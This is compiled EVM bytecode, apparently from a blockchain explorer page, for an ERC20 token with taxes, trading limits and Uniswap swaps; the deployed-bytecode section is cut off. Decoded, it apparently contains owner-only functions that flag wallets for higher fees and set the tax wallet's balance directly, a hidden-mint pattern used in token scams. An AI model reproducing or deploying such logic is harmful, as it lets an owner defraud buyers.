00080fd5b506103e060048036038101906103db91906132a2565b610b62565b005b3480156103ee57600080fd5b506103f7610cef565b6040516104049190613304565b60405180910390f35b34801561041957600080fd5b50610422610d15565b60405161042f9190613207565b60405180910390f35b34801561044457600080fd5b5061044d610d28565b60405161045a919061333b565b60405180910390f35b34801561046f57600080fd5b5061048a600480360381019061048591906131ac565b610d31565b6040516104979190613207565b60405180910390f35b3480156104ac57600080fd5b506104c760048036038101906104c29190613222565b610ddd565b6040516104d49190613207565b60405180910390f35b3480156104e957600080fd5b506104f2610dfd565b6040516104ff9190613304565b60405180910390f35b34801561051457600080fd5b5061051d610e23565b005b34801561052b57600080fd5b5061054660048036038101906105419190613356565b610f3c565b005b34801561055457600080fd5b5061056f600480360381019061056a9190613222565b610fca565b60405161057c91906130f3565b60405180910390f35b34801561059157600080fd5b5061059a611012565b005b3480156105a857600080fd5b506105b161109a565b6040516105be91906130f3565b60405180910390f35b3480156105d357600080fd5b506105ee60048036038101906105e991906134de565b6110a0565b005b3480156105fc57600080fd5b506106056111b1565b6040516106129190613304565b60405180910390f35b34801561062757600080fd5b506106306111db565b60405161063d9190613304565b60405180910390f35b34801561065257600080fd5b5061065b611201565b60405161066891906130f3565b60405180910390f35b34801561067d57600080fd5b50610686611207565b60405161069391906130b8565b60405180910390f35b3480156106a857600080fd5b506106b1611299565b6040516106be91906130f3565b60405180910390f35b3480156106d357600080fd5b506106dc61129f565b6040516106e991906130f3565b60405180910390f35b3480156106fe57600080fd5b50610719600480360381019061071491906131ac565b6112a5565b005b34801561072757600080fd5b50610742600480360381019061073d91906131ac565b6113ab565b60405161074f9190613207565b60405180910390f35b34801561076457600080fd5b5061077f600480360381019061077a91906131ac565b61149f565b60405161078c9190613207565b60405180910390f35b3480156107a157600080fd5b506107bc60048036038101906107b79190613527565b6114bd565b005b3480156107ca57600080fd5b506107d3611556565b6040516107e09190613207565b60405180910390f35b3480156107f557600080fd5b506107fe611569565b005b34801561080c57600080fd5b5061082760048036038101906108229190613527565b61161d565b005b34801561083557600080fd5b5061083e61172a565b60405161084b9190613304565b60405180910390f35b34801561086057600080fd5b50610869611750565b60405161087691906130f3565b60405180910390f35b34801561088b57600080fd5b506108a660048036038101906108a19190613554565b611756565b6040516108b391906130f3565b60405180910390f35b6108c46117dd565b005b3480156108d257600080fd5b506108ed60048036038101906108e89190613527565b611ba3565b005b3480156108fb57600080fd5b50610904611c52565b60405161091191906130f3565b60405180910390f35b34801561092657600080fd5b50610941600480360381019061093c9190613222565b611c58565b005b34801561094f57600080fd5b50610958611d4f565b60405161096591906130f3565b60405180910390f35b60606001805461097d906135c3565b80601f01602080910402602001604051908101604052809291908181526020018280546109a9906135c3565b80156109f65780601f106109cb576101008083540402835291602001916109f6565b820191906000526020600020905b8154815290600101906020018083116109d957829003601f168201915b5050505050905090565b60125481565b6000610a1a610a13611d55565b8484611d5d565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b6000600554905090565b601160169054906101000a900460ff1681565b6000610a6e848484611f26565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ab9611d55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610b39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3090613666565b60405180910390fd5b610b5685610b45611d55565b8584610b5191906136b5565b611d5d565b60019150509392505050565b610b6a611d55565b73ffffffffffffffffffffffffffffffffffffffff16610b886111b1565b73ffffffffffffffffffffffffffffffffffffffff1614610bde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd590613735565b60405180910390fd5b6000479050610bec8461262a565b60008147610bfa91906136b5565b90506000831115610c7257610c718385610c149190613755565b8483610c209190613789565b610c2a91906137fa565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661286d90919063ffffffff16565b5b6000841115610ce857610ce78385610c8a9190613755565b8583610c969190613789565b610ca091906137fa565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661286d90919063ffffffff16565b5b5050505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601160149054906101000a900460ff1681565b60006012905090565b6000610dd3610d3e611d55565b848460046000610d4c611d55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610dce9190613755565b611d5d565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610e2b611d55565b73ffffffffffffffffffffffffffffffffffffffff16610e496111b1565b73ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9690613735565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ee0611d55565b73ffffffffffffffffffffffffffffffffffffffff1614610f0057600080fd5b6000610f0b30610fca565b90506000811115610f2057610f1f81612961565b5b60004790506000811115610f3857610f3781612bae565b5b5050565b610f44611d55565b73ffffffffffffffffffffffffffffffffffffffff16610f626111b1565b73ffffffffffffffffffffffffffffffffffffffff1614610fb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610faf90613735565b60405180910390fd5b81600f81905550806010819055505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61101a611d55565b73ffffffffffffffffffffffffffffffffffffffff166110386111b1565b73ffffffffffffffffffffffffffffffffffffffff161461108e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108590613735565b60405180910390fd5b6110986000612bbd565b565b60145481565b6110a8611d55565b73ffffffffffffffffffffffffffffffffffffffff166110c66111b1565b73ffffffffffffffffffffffffffffffffffffffff161461111c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111390613735565b60405180910390fd5b60005b81518110156111ad576001600a60008484815181106111415761114061382b565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806111a59061385a565b91505061111f565b5050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b606060028054611216906135c3565b80601f0160208091040260200160405190810160405280929190818152602001828054611242906135c3565b801561128f5780601f106112645761010080835404028352916020019161128f565b820191906000526020600020905b81548152906001019060200180831161127257829003601f168201915b5050505050905090565b600b5481565b600f5481565b6112ad611d55565b73ffffffffffffffffffffffffffffffffffffffff166112cb6111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611321576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131890613735565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6113456111b1565b836040518363ffffffff1660e01b81526004016113639291906138a2565b6020604051808303816000875af1158015611382573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a691906138f7565b505050565b600080600460006113ba611d55565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e90613996565b60405180910390fd5b611494611482611d55565b85858461148f91906136b5565b611d5d565b600191505092915050565b60006114b36114ac611d55565b8484611f26565b6001905092915050565b6114c5611d55565b73ffffffffffffffffffffffffffffffffffffffff166114e36111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611539576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153090613735565b60405180910390fd5b670de0b6b3a76400008161154d9190613789565b60138190555050565b601160159054906101000a900460ff1681565b611571611d55565b73ffffffffffffffffffffffffffffffffffffffff1661158f6111b1565b73ffffffffffffffffffffffffffffffffffffffff16146115e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115dc90613735565b60405180910390fd5b6001601160156101000a81548160ff0219169083151502179055506001601160146101000a81548160ff021916908315150217905550565b611625611d55565b73ffffffffffffffffffffffffffffffffffffffff166116436111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611699576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169090613735565b60405180910390fd5b670de0b6b3a7640000816116ad9190613789565b601481905550600b546014546116c39190613789565b600080601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6117e5611d55565b73ffffffffffffffffffffffffffffffffffffffff166118036111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611859576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185090613735565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611922573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194691906139cb565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119f391906139cb565b6040518363ffffffff1660e01b8152600401611a109291906139f8565b6020604051808303816000875af1158015611a2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a5391906139cb565b905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611ae330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611d5d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430611b2c30610fca565b600080611b376111b1565b426040518863ffffffff1660e01b8152600401611b5996959493929190613a66565b60606040518083038185885af1158015611b77573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611b9c9190613adc565b5050505050565b611bab611d55565b73ffffffffffffffffffffffffffffffffffffffff16611bc96111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611c1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1690613735565b60405180910390fd5b611c4f81611c2b6111b1565b73ffffffffffffffffffffffffffffffffffffffff1661286d90919063ffffffff16565b50565b60075481565b611c60611d55565b73ffffffffffffffffffffffffffffffffffffffff16611c7e6111b1565b73ffffffffffffffffffffffffffffffffffffffff1614611cd4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ccb90613735565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611d43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d3a90613ba1565b60405180910390fd5b611d4c81612bbd565b50565b60085481565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611dcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc390613c33565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611e3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3290613cc5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611f1991906130f3565b60405180910390a3505050565b60008111611f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6090613d57565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061200a5750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561201957600b546010819055505b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156120bd5750600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156120d65750601160169054906101000a900460ff16155b1561239257601160159054906101000a900460ff1661212a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212190613dc3565b60405180910390fd5b4360085460075461213b9190613755565b111561229e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146121ef576001600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461229d576001600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b6013548111156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da90613e2f565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612391576014548161234584610fca565b61234f9190613755565b1115612390576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238790613e9b565b60405180910390fd5b5b5b6000601160169054906101000a900460ff16806123f85750600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061244c5750600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561245a5760009050612545565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156125015750600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612527576064601054836125169190613789565b61252091906137fa565b9050612544565b6064600f54836125379190613789565b61254191906137fa565b90505b5b601160149054906101000a900460ff16801561256e5750601160169054906101000a900460ff16155b80156125c85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156125d45750600081115b156125e2576125e1612c83565b5b6000811115612618576125f6843083612d08565b612613848461260e8486612f7a90919063ffffffff16565b612d08565b612624565b612623848484612d08565b5b50505050565b6000600267ffffffffffffffff8111156126475761264661339b565b5b6040519080825280602002602001820160405280156126755781602001602082028036833780820191505090505b509050308160008151811061268d5761268c61382b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612734573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061275891906139cb565b8160018151811061276c5761276b61382b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127d330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d5d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612837959493929190613f79565b600060405180830381600087803b15801561285157600080fd5b505af1158015612865573d6000803e3d6000fd5b505050505050565b804710156128b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128a79061401f565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff16826040516128d690614070565b60006040518083038185875af1925050503d8060008114612913576040519150601f19603f3d011682016040523d82523d6000602084013e612918565b606091505b505090508061295c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612953906140f7565b60405180910390fd5b505050565b6000810315612bab576000600267ffffffffffffffff8111156129875761298661339b565b5b6040519080825280602002602001820160405280156129b55781602001602082028036833780820191505090505b50905030816000815181106129cd576129cc61382b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a74573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a9891906139cb565b81600181518110612aac57612aab61382b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612b1330600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611d5d565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612b77959493929190613f79565b600060405180830381600087803b158015612b9157600080fd5b505af1158015612ba5573d6000803e3d6000fd5b50505050505b50565b612bba60003083612d08565b50565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000612c8e30610fca565b90506012548110612d05576000479050612ca78261262a565b60008147612cb591906136b5565b9050612d0281600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661286d90919063ffffffff16565b50505b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612d77576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6e90614189565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ddd9061421b565b60405180910390fd5b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e63906142ad565b60405180910390fd5b8181612e7891906136b5565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f089190613755565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051612f6c91906130f3565b60405180910390a350505050565b6000612fbc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612fc4565b905092915050565b600083831115829061300c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161300391906130b8565b60405180910390fd5b506000848461301b91906136b5565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015613062578082015181840152602081019050613047565b60008484015250505050565b6000601f19601f8301169050919050565b600061308a82613028565b6130948185613033565b93506130a4818560208601613044565b6130ad8161306e565b840191505092915050565b600060208201905081810360008301526130d2818461307f565b905092915050565b6000819050919050565b6130ed816130da565b82525050565b600060208201905061310860008301846130e4565b92915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061314d82613122565b9050919050565b61315d81613142565b811461316857600080fd5b50565b60008135905061317a81613154565b92915050565b613189816130da565b811461319457600080fd5b50565b6000813590506131a681613180565b92915050565b600080604083850312156131c3576131c2613118565b5b60006131d18582860161316b565b92505060206131e285828601613197565b9150509250929050565b60008115159050919050565b613201816131ec565b82525050565b600060208201905061321c60008301846131f8565b92915050565b60006020828403121561323857613237613118565b5b60006132468482850161316b565b91505092915050565b60008060006060848603121561326857613267613118565b5b60006132768682870161316b565b93505060206132878682870161316b565b925050604061329886828701613197565b9150509250925092565b6000806000606084860312156132bb576132ba613118565b5b60006132c986828701613197565b93505060206132da86828701613197565b92505060406132eb86828701613197565b9150509250925092565b6132fe81613142565b82525050565b600060208201905061331960008301846132f5565b92915050565b600060ff82169050919050565b6133358161331f565b82525050565b6000602082019050613350600083018461332c565b92915050565b6000806040838503121561336d5761336c613118565b5b600061337b85828601613197565b925050602061338c85828601613197565b9150509250929050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6133d38261306e565b810181811067ffffffffffffffff821117156133f2576133f161339b565b5b80604052505050565b600061340561310e565b905061341182826133ca565b919050565b600067ffffffffffffffff8211156134315761343061339b565b5b602082029050602081019050919050565b600080fd5b600061345a61345584613416565b6133fb565b9050808382526020820190506020840283018581111561347d5761347c613442565b5b835b818110156134a65780613492888261316b565b84526020840193505060208101905061347f565b5050509392505050565b600082601f8301126134c5576134c4613396565b5b81356134d5848260208601613447565b91505092915050565b6000602082840312156134f4576134f3613118565b5b600082013567ffffffffffffffff8111156135125761351161311d565b5b61351e848285016134b0565b91505092915050565b60006020828403121561353d5761353c613118565b5b600061354b84828501613197565b91505092915050565b6000806040838503121561356b5761356a613118565b5b60006135798582860161316b565b925050602061358a8582860161316b565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806135db57607f821691505b6020821081036135ee576135ed613594565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b6000613650602883613033565b915061365b826135f4565b604082019050919050565b6000602082019050818103600083015261367f81613643565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006136c0826130da565b91506136cb836130da565b92508282039050818111156136e3576136e2613686565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061371f602083613033565b915061372a826136e9565b602082019050919050565b6000602082019050818103600083015261374e81613712565b9050919050565b6000613760826130da565b915061376b836130da565b925082820190508082111561378357613782613686565b5b92915050565b6000613794826130da565b915061379f836130da565b92508282026137ad816130da565b915082820484148315176137c4576137c3613686565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613805826130da565b9150613810836130da565b9250826138205761381f6137cb565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000613865826130da565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361389757613896613686565b5b600182019050919050565b60006040820190506138b760008301856132f5565b6138c460208301846130e4565b9392505050565b6138d4816131ec565b81146138df57600080fd5b50565b6000815190506138f1816138cb565b92915050565b60006020828403121561390d5761390c613118565b5b600061391b848285016138e2565b91505092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000613980602583613033565b915061398b82613924565b604082019050919050565b600060208201905081810360008301526139af81613973565b9050919050565b6000815190506139c581613154565b92915050565b6000602082840312156139e1576139e0613118565b5b60006139ef848285016139b6565b91505092915050565b6000604082019050613a0d60008301856132f5565b613a1a60208301846132f5565b9392505050565b6000819050919050565b6000819050919050565b6000613a50613a4b613a4684613a21565b613a2b565b6130da565b9050919050565b613a6081613a35565b82525050565b600060c082019050613a7b60008301896132f5565b613a8860208301886130e4565b613a956040830187613a57565b613aa26060830186613a57565b613aaf60808301856132f5565b613abc60a08301846130e4565b979650505050505050565b600081519050613ad681613180565b92915050565b600080600060608486031215613af557613af4613118565b5b6000613b0386828701613ac7565b9350506020613b1486828701613ac7565b9250506040613b2586828701613ac7565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613b8b602683613033565b9150613b9682613b2f565b604082019050919050565b60006020820190508181036000830152613bba81613b7e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613c1d602483613033565b9150613c2882613bc1565b604082019050919050565b60006020820190508181036000830152613c4c81613c10565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613caf602283613033565b9150613cba82613c53565b604082019050919050565b60006020820190508181036000830152613cde81613ca2565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000613d41602983613033565b9150613d4c82613ce5565b604082019050919050565b60006020820190508181036000830152613d7081613d34565b9050919050565b7f54726164696e67206973206e6f74206163746976652079657400000000000000600082015250565b6000613dad601983613033565b9150613db882613d77565b602082019050919050565b60006020820190508181036000830152613ddc81613da0565b9050919050565b7f4d61785478416d6f756e74000000000000000000000000000000000000000000600082015250565b6000613e19600b83613033565b9150613e2482613de3565b602082019050919050565b60006020820190508181036000830152613e4881613e0c565b9050919050565b7f4d617857616c6c6574416d6f756e740000000000000000000000000000000000600082015250565b6000613e85600f83613033565b9150613e9082613e4f565b602082019050919050565b60006020820190508181036000830152613eb481613e78565b9050919050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613ef081613142565b82525050565b6000613f028383613ee7565b60208301905092915050565b6000602082019050919050565b6000613f2682613ebb565b613f308185613ec6565b9350613f3b83613ed7565b8060005b83811015613f6c578151613f538882613ef6565b9750613f5e83613f0e565b925050600181019050613f3f565b5085935050505092915050565b600060a082019050613f8e60008301886130e4565b613f9b6020830187613a57565b8181036040830152613fad8186613f1b565b9050613fbc60608301856132f5565b613fc960808301846130e4565b9695505050505050565b7f416464726573733a20696e73756666696369656e742062616c616e6365000000600082015250565b6000614009601d83613033565b915061401482613fd3565b602082019050919050565b6000602082019050818103600083015261403881613ffc565b9050919050565b600081905092915050565b50565b600061405a60008361403f565b91506140658261404a565b600082019050919050565b600061407b8261404d565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260008201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b60006140e1603a83613033565b91506140ec82614085565b604082019050919050565b60006020820190508181036000830152614110816140d4565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614173602583613033565b915061417e82614117565b604082019050919050565b600060208201905081810360008301526141a281614166565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614205602383613033565b9150614210826141a9565b604082019050919050565b60006020820190508181036000830152614234816141f8565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614297602683613033565b91506142a28261423b565b604082019050919050565b600060208201905081810360008301526142c68161428a565b905091905056fea2646970667358221220550f90ddd54e854af305d396227babec25493c68e597ac23a881cf71a2254e9664736f6c63430008110033

Deployed Bytecode

0x60806040526004361061024a5760003560e01c80638da5cb5b11610139578063b3ac8537116100b6578063dd62ed3e1161007a578063dd62ed3e1461087f578063e8078d94146108bc578063f14210a6146108c6578063f251afa3146108ef578063f2fde38b1461091a578063fabb0b4f1461094357610251565b8063b3ac8537146107be578063bf6a1c0d146107e9578063c18bc19514610800578063c816841b14610829578063d62ce6311461085457610251565b80639d4091bc116100fd5780639d4091bc146106c75780639ed6b920146106f2578063a457c2d71461071b578063a9059cbb14610758578063aa4980231461079557610251565b80638da5cb5b146105f05780638ea5220f1461061b57806393eadfc41461064657806395d89b41146106715780639cb346b21461069c57610251565b8063313ce567116101c757806352f7c9881161018b57806352f7c9881461051f57806370a0823114610548578063715018a61461058557806377c1b6131461059c57806382742564146105c757610251565b8063313ce5671461043857806339509351146104635780633f4218e0146104a05780633ff42b92146104dd57806351bc3c851461050857610251565b806319b0febe1161020e57806319b0febe1461035157806323b872dd1461037c57806326b5d32f146103b957806327c8f835146103e2578063296914481461040d57610251565b806306fdde031461025657806308aa269514610281578063095ea7b3146102ac5780630f3a325f146102e95780631816